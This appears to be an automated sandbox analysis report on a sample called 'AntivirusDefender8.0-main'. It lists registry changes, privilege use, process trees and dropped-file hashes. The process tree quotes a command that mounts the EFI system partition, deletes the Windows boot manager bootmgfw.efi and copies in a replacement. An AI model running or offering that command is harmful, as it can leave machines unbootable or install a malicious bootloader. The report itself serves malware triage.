1ee3788918d34886873b12b45d7723e64eebe81cd117dbbf95f75fb99b38ea2d

Resubmissions

08-07-2024 11:05

240708-m639fsyaph 4

08-07-2024 11:00

08-07-2024 10:54

08-07-2024 10:49

08-07-2024 10:46

08-07-2024 10:42

Analysis

max time kernel
202s
max time network
205s
platform
windows11-21h2_x64
resource
win11-20240704-en
resource tags

arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
submitted
08-07-2024 11:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AntivirusDefender8.0-main/.gitattributes
Size

66B
MD5

05bdb783ee6514c8c072e47680af8ff7
SHA1

ba3dfe345280bdcc5e817bb02cf49b8b8d8e1c4c
SHA256

1a1dbe176bc233b499d35a57db7513f2941c99ab9759f177830c9149be99005b
SHA512

9e820d6126d62c0b89e380c69685f6668b2f131283f57e524f59492fa6df22844dda1b90d244d4a1f8aea78a84e65d47b1a878168c4e41001459a947ef275ffe

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies registry class 35 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 14002e803accbfb42cdb4c42b0297fe99a87c6410000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3590242114-4229536887-1276274119-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "3"	firefox.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeDebugPrivilege	1384	firefox.exe
Token: SeBackupPrivilege	5548	svchost.exe
Token: SeRestorePrivilege	5548	svchost.exe
Token: SeSecurityPrivilege	5548	svchost.exe
Token: SeTakeOwnershipPrivilege	5548	svchost.exe
Token: 35	5548	svchost.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1428	OpenWith.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe
1384	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 2444 wrote to memory of 1384	2444	firefox.exe	87
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3144	1384	firefox.exe	88
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89
PID 1384 wrote to memory of 3920	1384	firefox.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\.gitattributes
1⤵
- Modifies registry class
PID:1432

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1428

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.0.936017609\1520476410" -parentBuildID 20230214051806 -prefsHandle 1800 -prefMapHandle 1792 -prefsLen 22074 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1458a3a8-bf09-40b5-81dc-c23100371d71} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 1860 1cb170c6458 gpu
    3⤵
    PID:3144
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.1.1236328577\1927731460" -parentBuildID 20230214051806 -prefsHandle 2372 -prefMapHandle 2368 -prefsLen 22110 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b201be98-bd8a-457e-91f4-7665f8ee108c} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 2384 1cb0b385958 socket
    3⤵
    PID:3920
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.2.700122404\930828906" -childID 1 -isForBrowser -prefsHandle 2792 -prefMapHandle 3028 -prefsLen 22148 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5693abd7-af24-440e-b156-036fe6b7461a} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 3100 1cb1aad5258 tab
    3⤵
    PID:2040
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.3.1780606634\120990547" -childID 2 -isForBrowser -prefsHandle 1084 -prefMapHandle 2524 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a287f94e-33be-4229-bcd8-588c770d459d} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 3472 1cb1d65d858 tab
    3⤵
    PID:2888
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.4.683512351\887780225" -childID 3 -isForBrowser -prefsHandle 5128 -prefMapHandle 5124 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8b763bd2-35e8-43ca-b109-b38b914df3cf} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5140 1cb1f957f58 tab
    3⤵
    PID:2316
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.5.457680353\396076443" -childID 4 -isForBrowser -prefsHandle 5368 -prefMapHandle 5364 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa5cc874-baf8-441e-81b9-c44fcd12b932} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5376 1cb1f955e58 tab
    3⤵
    PID:2292
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.6.568721902\1059567900" -childID 5 -isForBrowser -prefsHandle 5520 -prefMapHandle 5524 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ffe3ad1-0d05-452f-b540-d176f5ccfd69} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5512 1cb1f957658 tab
    3⤵
    PID:1944
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.7.1720011705\1927268708" -childID 6 -isForBrowser -prefsHandle 5552 -prefMapHandle 5556 -prefsLen 27774 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2b3da6cf-575a-4556-b060-1d250253114a} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5544 1cb1eb3e358 tab
    3⤵
    PID:1296
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.8.887554682\1175706556" -childID 7 -isForBrowser -prefsHandle 6076 -prefMapHandle 6072 -prefsLen 27774 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcf14076-7302-43b9-b653-aa98c894e2f6} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 6084 1cb1eb3d758 tab
    3⤵
    PID:3204
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.9.1440711638\81229636" -childID 8 -isForBrowser -prefsHandle 5484 -prefMapHandle 5480 -prefsLen 27774 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {401376cb-62a4-473f-b63a-0156c3b4be62} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5472 1cb1f5fcc58 tab
    3⤵
    PID:1512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.10.1938835721\450756785" -childID 9 -isForBrowser -prefsHandle 5392 -prefMapHandle 5224 -prefsLen 27774 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95498b5e-b5fc-42e4-96d0-a2aa24faa4da} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5360 1cb1f929458 tab
    3⤵
    PID:1820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.11.137808423\1825889366" -childID 10 -isForBrowser -prefsHandle 9828 -prefMapHandle 9656 -prefsLen 28039 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e43e0263-f6c8-4a3a-a7b1-fdda651dfb97} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 9888 1cb21fc3c58 tab
    3⤵
    PID:3164
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.12.1336523302\729355257" -parentBuildID 20230214051806 -prefsHandle 5788 -prefMapHandle 9728 -prefsLen 28039 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {178b52d3-5e25-441d-8975-c8b55985607c} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 9748 1cb204f5258 rdd
    3⤵
    PID:1616
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.13.26127148\962129373" -childID 11 -isForBrowser -prefsHandle 4996 -prefMapHandle 4904 -prefsLen 28175 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb5550a-3113-45b9-aef1-4219469400fe} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 5412 1cb0b374a58 tab
    3⤵
    PID:2316
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1384.14.1889056842\2144770027" -childID 12 -isForBrowser -prefsHandle 4904 -prefMapHandle 4996 -prefsLen 28175 -prefMapSize 235121 -jsInitHandle 1288 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f2bb6423-bcbc-40cd-afb0-acf466688948} 1384 "\\.\pipe\gecko-crash-server-pipe.1384" 9376 1cb0b33f758 tab
    3⤵
    PID:352

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5628

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:5412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5548

C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe
"C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
1⤵
PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c mountvol x: /s
  2⤵
  PID:5864
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol x: /s
    3⤵
    PID:5752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
1⤵
PID:5368
- C:\Windows\system32\cmd.exe
  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
  2⤵
  PID:6004
- - C:\Windows\system32\mountvol.exe
    mountvol x: /s
    3⤵
    PID:6024

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
1⤵
PID:2624
- C:\Windows\system32\cmd.exe
  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
  2⤵
  PID:5380
- - C:\Windows\system32\mountvol.exe
    mountvol x: /s
    3⤵
    PID:5016

C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe
"C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
1⤵
PID:1408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c mountvol x: /s
  2⤵
  PID:1188
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol x: /s
    3⤵
    PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RUNTHISFIRST.exe.log

Filesize
226B

MD5
1294de804ea5400409324a82fdc7ec59

SHA1
9a39506bc6cadf99c1f2129265b610c69d1518f7

SHA256
494398ec6108c68573c366c96aae23d35e7f9bdbb440a4aab96e86fcad5871d0

SHA512
033905cc5b4d0c0ffab2138da47e3223765146fa751c9f84b199284b653a04874c32a23aae577d2e06ce6c6b34fec62331b5fc928e3baf68dc53263ecdfa10c1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\activity-stream.discovery_stream.json.tmp

Filesize
25KB

MD5
095f64d81ee0588ec900531a8548f0d3

SHA1
c952a1de0f8d17cab96cb4ac5d4c6c93fd70aecd

SHA256
7166362dfd0bb07756a6fef2106f7e2a41f019039a8f0835d8857e9fe0b73d62

SHA512
0831a2e11a1a4333251f4fecb975746a9d6fb4da813c561b98d1c6aa391f0220645f0588636f29ad3689441d164eb3c6b3fcc2c970f67fe9c64dc4f185594cf3

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\activity-stream.discovery_stream.json.tmp

Filesize
25KB

MD5
a9c8b3234c2916bed78c7dca097d270d

SHA1
ea2687def8511ffbc81f0a8c606364f4323bf1d6

SHA256
086333d6488de33f8f7bdc28c947cf6a07e66433a9e7df1270038087bc917539

SHA512
3548065b1a21a8883f7ee07cd71d320cb67eaff1eb57a601b1edabe6998f918bdec6d6552435af3e904e3b0327333af1dcae497752ee80ce5887fb290d2e6b81

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\doomed\17769

Filesize
15KB

MD5
57ba4af7535bf2e1d2e0edb38d7d16dd

SHA1
f32986c9415c2f0250b7c10c558c24b5d126a98a

SHA256
d5ab8e8e0c35ba56b2c05acf7dc9a6a397a719bda94ef3ab7fd1e6f4556e24a0

SHA512
